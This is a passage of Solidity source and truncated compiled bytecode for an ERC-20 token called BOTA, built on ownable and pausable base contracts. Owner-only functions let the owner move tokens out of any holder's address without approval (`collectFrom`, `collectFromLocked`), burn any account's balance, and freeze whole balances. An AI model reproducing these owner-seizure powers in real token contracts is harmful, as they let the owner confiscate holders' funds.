return _pendingowner;
}
modifier onlyPendingOwner() {
require(msg.sender == _pendingowner, "Ownable: caller is not the pending owner");
_;
}
function claimOwnership() public onlyPendingOwner {
_transferOwnership(msg.sender);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused, "Pausable: not paused");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract ERC20Token is IERC20, Pausable {
using SafeMath for uint256;
using Address for address;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256 balance) {
return _balances[account];
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address recipient, uint256 amount)
public
whenNotPaused
returns (bool success)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 value)
public
whenNotPaused
returns (bool)
{
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount)
public
whenNotPaused
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
whenNotPaused
returns (bool)
{
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
whenNotPaused
returns (bool)
{
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
// function mint(address account,uint256 amount) public onlyOwner returns (bool) {
// _mint(account, amount);
// return true;
// }
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(address account,uint256 amount) public onlyOwner returns (bool) {
_burn(account, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn to the zero address");
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
}
contract BOTA is ERC20Token {
constructor() public
ERC20Token("BOTA", "BOTA", 18, 1000000000 * (10 ** 18)) {
}
mapping (address => uint256) internal _locked_balances;
event TokenLocked(address indexed owner, uint256 value);
event TokenUnlocked(address indexed beneficiary, uint256 value);
function balanceOfLocked(address account) public view returns (uint256 balance)
{
return _locked_balances[account];
}
function lockToken(address[] memory addresses, uint256[] memory amounts)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "LockToken: address is empty");
require(addresses.length == amounts.length, "LockToken: invalid array size");
for (uint i = 0; i < addresses.length; i++) {
_lock_token(addresses[i], amounts[i]);
}
return true;
}
function lockTokenWhole(address[] memory addresses)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "LockToken: address is empty");
for (uint i = 0; i < addresses.length; i++) {
_lock_token(addresses[i], _balances[addresses[i]]);
}
return true;
}
function unlockToken(address[] memory addresses, uint256[] memory amounts)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "LockToken: unlock address is empty");
require(addresses.length == amounts.length, "LockToken: invalid array size");
for (uint i = 0; i < addresses.length; i++) {
_unlock_token(addresses[i], amounts[i]);
}
return true;
}
function _lock_token(address owner, uint256 amount) internal {
require(owner != address(0), "LockToken: lock from the zero address");
require(amount > 0, "LockToken: the amount is empty");
_balances[owner] = _balances[owner].sub(amount);
_locked_balances[owner] = _locked_balances[owner].add(amount);
emit TokenLocked(owner, amount);
}
function _unlock_token(address owner, uint256 amount) internal {
require(owner != address(0), "LockToken: lock from the zero address");
require(amount > 0, "LockToken: the amount is empty");
_locked_balances[owner] = _locked_balances[owner].sub(amount);
_balances[owner] = _balances[owner].add(amount);
emit TokenUnlocked(owner, amount);
}
event Collect(address indexed from, address indexed to, uint256 value);
event CollectLocked(address indexed from, address indexed to, uint256 value); //Lock이 해지 되었다.
function collectFrom(address[] memory addresses, uint256[] memory amounts, address recipient)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "Collect: collect address is empty");
require(addresses.length == amounts.length, "Collect: invalid array size");
for (uint i = 0; i < addresses.length; i++) {
_transfer(addresses[i], recipient, amounts[i]);
emit Collect(addresses[i], recipient, amounts[i]);
}
return true;
}
function collectFromLocked(address[] memory addresses, uint256[] memory amounts, address recipient)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "Collect: collect address is empty");
require(addresses.length == amounts.length, "Collect: invalid array size");
for (uint i = 0; i < addresses.length; i++) {
_unlock_token(addresses[i], amounts[i]);
_transfer(addresses[i], recipient, amounts[i]);
emit CollectLocked(addresses[i], recipient, amounts[i]);
}
return true;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806314a7a6311461026757806318160ddd146103f857806323b872dd14610423578063313ce567146104b657806339509351146104e75780633f4ba83a1461055a5780634e71e0c8146105715780635c975abb1461058857806370a08231146105b7578063715018a61461061c5780638456cb59146106335780638da5cb5b1461064a5780638f32d59b146106a157806395d89b41146106d05780639dc29fac14610760578063a457c2d7146107d3578063a9059cbb14610846578063b9bcabe9146108b9578063da4a898e14610a4a578063dd62ed3e14610aa1578063e50c652914610b26578063e960bb4814610c03578063f2cb9bea14610c68578063f2fde38b14610dd9578063f612436114610e2a575b600080fd5b34801561017057600080fd5b50610179610f9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061024d6004803603604081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103d565b604051808215151515815260200191505060405180910390f35b34801561027357600080fd5b506103de6004803603606081101561028a57600080fd5b81019080803590602001906401000000008111156102a757600080fd5b8201836020820111156102b957600080fd5b803590602001918460208302840111640100000000831117156102db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561033b57600080fd5b82018360208201111561034d57600080fd5b8035906020019184602083028401116401000000008311171561036f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d9565b604051808215151515815260200191505060405180910390f35b34801561040457600080fd5b5061040d611363565b6040518082815260200191505060405180910390f35b34801561042f57600080fd5b5061049c6004803603606081101561044657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136d565b604051808215151515815260200191505060405180910390f35b3480156104c257600080fd5b506104cb6114a3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104f357600080fd5b506105406004803603604081101561050a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114ba565b604051808215151515815260200191505060405180910390f35b34801561056657600080fd5b5061056f6115e4565b005b34801561057d57600080fd5b5061058661172d565b005b34801561059457600080fd5b5061059d611823565b604051808215151515815260200191505060405180910390f35b3480156105c357600080fd5b50610606600480360360208110156105da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611836565b6040518082815260200191505060405180910390f35b34801561062857600080fd5b5061063161187f565b005b34801561063f57600080fd5b506106486119ba565b005b34801561065657600080fd5b5061065f611b03565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ad57600080fd5b506106b6611b2c565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b506106e5611b83565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072557808201518184015260208101905061070a565b50505050905090810190601f1680156107525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076c57600080fd5b506107b96004803603604081101561078357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c25565b604051808215151515815260200191505060405180910390f35b3480156107df57600080fd5b5061082c600480360360408110156107f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cb7565b604051808215151515815260200191505060405180910390f35b34801561085257600080fd5b5061089f6004803603604081101561086957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611de1565b604051808215151515815260200191505060405180910390f35b3480156108c557600080fd5b50610a30600480360360608110156108dc57600080fd5b81019080803590602001906401000000008111156108f957600080fd5b82018360208201111561090b57600080fd5b8035906020019184602083028401116401000000008311171561092d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561098d57600080fd5b82018360208201111561099f57600080fd5b803590602001918460208302840111640100000000831117156109c157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e7d565b604051808215151515815260200191505060405180910390f35b348015610a5657600080fd5b50610a5f61213f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aad57600080fd5b50610b1060048036036040811015610ac457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612169565b6040518082815260200191505060405180910390f35b348015610b3257600080fd5b50610be960048036036020811015610b4957600080fd5b8101908080359060200190640100000000811115610b6657600080fd5b820183602082011115610b7857600080fd5b80359060200191846020830284011164010000000083111715610b9a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506121f0565b604051808215151515815260200191505060405180910390f35b348015610c0f57600080fd5b50610c5260048036036020811015610c2657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612384565b6040518082815260200191505060405180910390f35b348015610c7457600080fd5b50610dbf60048036036040811015610c8b57600080fd5b8101908080359060200190640100000000811115610ca857600080fd5b820183602082011115610cba57600080fd5b80359060200191846020830284011164010000000083111715610cdc57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610d3c57600080fd5b820183602082011115610d4e57600080fd5b80359060200191846020830284011164010000000083111715610d7057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506123cd565b604051808215151515815260200191505060405180910390f35b348015610de557600080fd5b50610e2860048036036020811015610dfc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125c2565b005b348015610e3657600080fd5b50610f8160048036036040811015610e4d57600080fd5b8101908080359060200190640100000000811115610e6a57600080fd5b820183602082011115610e7c57600080fd5b80359060200191846020830284011164010000000083111715610e9e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610efe57600080fd5b820183602082011115610f1057600080fd5b80359060200191846020830284011164010000000083111715610f3257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506126fd565b604051808215151515815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110335780601f1061100857610100808354040283529160200191611033565b820191906000526020600020905b81548152906001019060200180831161101657829003601f168201915b5050505050905090565b6000600160149054906101000a900460ff161515156110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6110cf3384846128cc565b6001905092915050565b60006110e3611b2c565b1515611157576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600084511115156111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8251845114151561126f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b8451811015611357576112b7858281518110151561128f57fe5b906020019060200201518486848151811015156112a857fe5b90602001906020020151612b4d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156112dc57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1314fd112a381beea61539dbd21ec04afcff2662ac7d1b83273aade1f53d1b97868481518110151561132b57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611275565b50600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff161515156113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6113ff848484612b4d565b611498843361149385600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b6128cc565b600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160149054906101000a900460ff16151515611541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6115da33846115d585600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b6128cc565b6001905092915050565b6115ec611b2c565b1515611660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff1615156116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611818576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f4f776e61626c653a2063616c6c6572206973206e6f74207468652070656e646981526020017f6e67206f776e657200000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61182133612f8c565b565b600160149054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611887611b2c565b15156118fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6119c2611b2c565b1515611a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff16151515611abb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c1b5780601f10611bf057610100808354040283529160200191611c1b565b820191906000526020600020905b815481529060010190602001808311611bfe57829003601f168201915b5050505050905090565b6000611c2f611b2c565b1515611ca3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611cad8383613115565b6001905092915050565b6000600160149054906101000a900460ff16151515611d3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611dd73384611dd285600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b6128cc565b6001905092915050565b6000600160149054906101000a900460ff16151515611e68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611e73338484612b4d565b6001905092915050565b6000611e87611b2c565b1515611efb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008451111515611f9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b82518451141515612013576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b84518110156121335761205a858281518110151561203357fe5b90602001906020020151858381518110151561204b57fe5b906020019060200201516132d4565b612093858281518110151561206b57fe5b9060200190602002015184868481518110151561208457fe5b90602001906020020151612b4d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156120b857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fcef2a588ab872cf14edd1b152ab54525aa85d0ccf08912fb5cdd419f0ef6d063868481518110151561210757fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612019565b50600190509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006121fa611b2c565b151561226e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600082511115156122e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b60008090505b825181101561237a5761236d838281518110151561230757fe5b9060200190602002015160066000868581518110151561232357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613593565b80806001019150506122ed565b5060019050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006123d7611b2c565b151561244b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156124ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f4c6f636b546f6b656e3a20756e6c6f636b206164647265737320697320656d7081526020017f747900000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156125b7576125aa848281518110151561258357fe5b90602001906020020151848381518110151561259b57fe5b906020019060200201516132d4565b8080600101915050612569565b506001905092915050565b6125ca611b2c565b151561263e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8573d4aae9f7fb051c6b88d7440011a1c12376acda6603a45f45bad36a8db4ce60405160405180910390a350565b6000612707611b2c565b151561277b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156127f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b8151835114151561286d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156128c1576128b4848281518110151561288d57fe5b9060200190602002015184838151811015156128a557fe5b90602001906020020151613593565b8080600101915050612873565b506001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612997576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612a62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612c18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612ce3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b612d3581600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dca81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515612ef1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110151515612f82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613057576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156131ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206275726e20746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61320c81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326481600554612e7790919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561339f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600081111515613417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61346981600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134fe81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f613edbda9d1e6bda8af8e869a973f88cccf93854a11f351589038de07e1a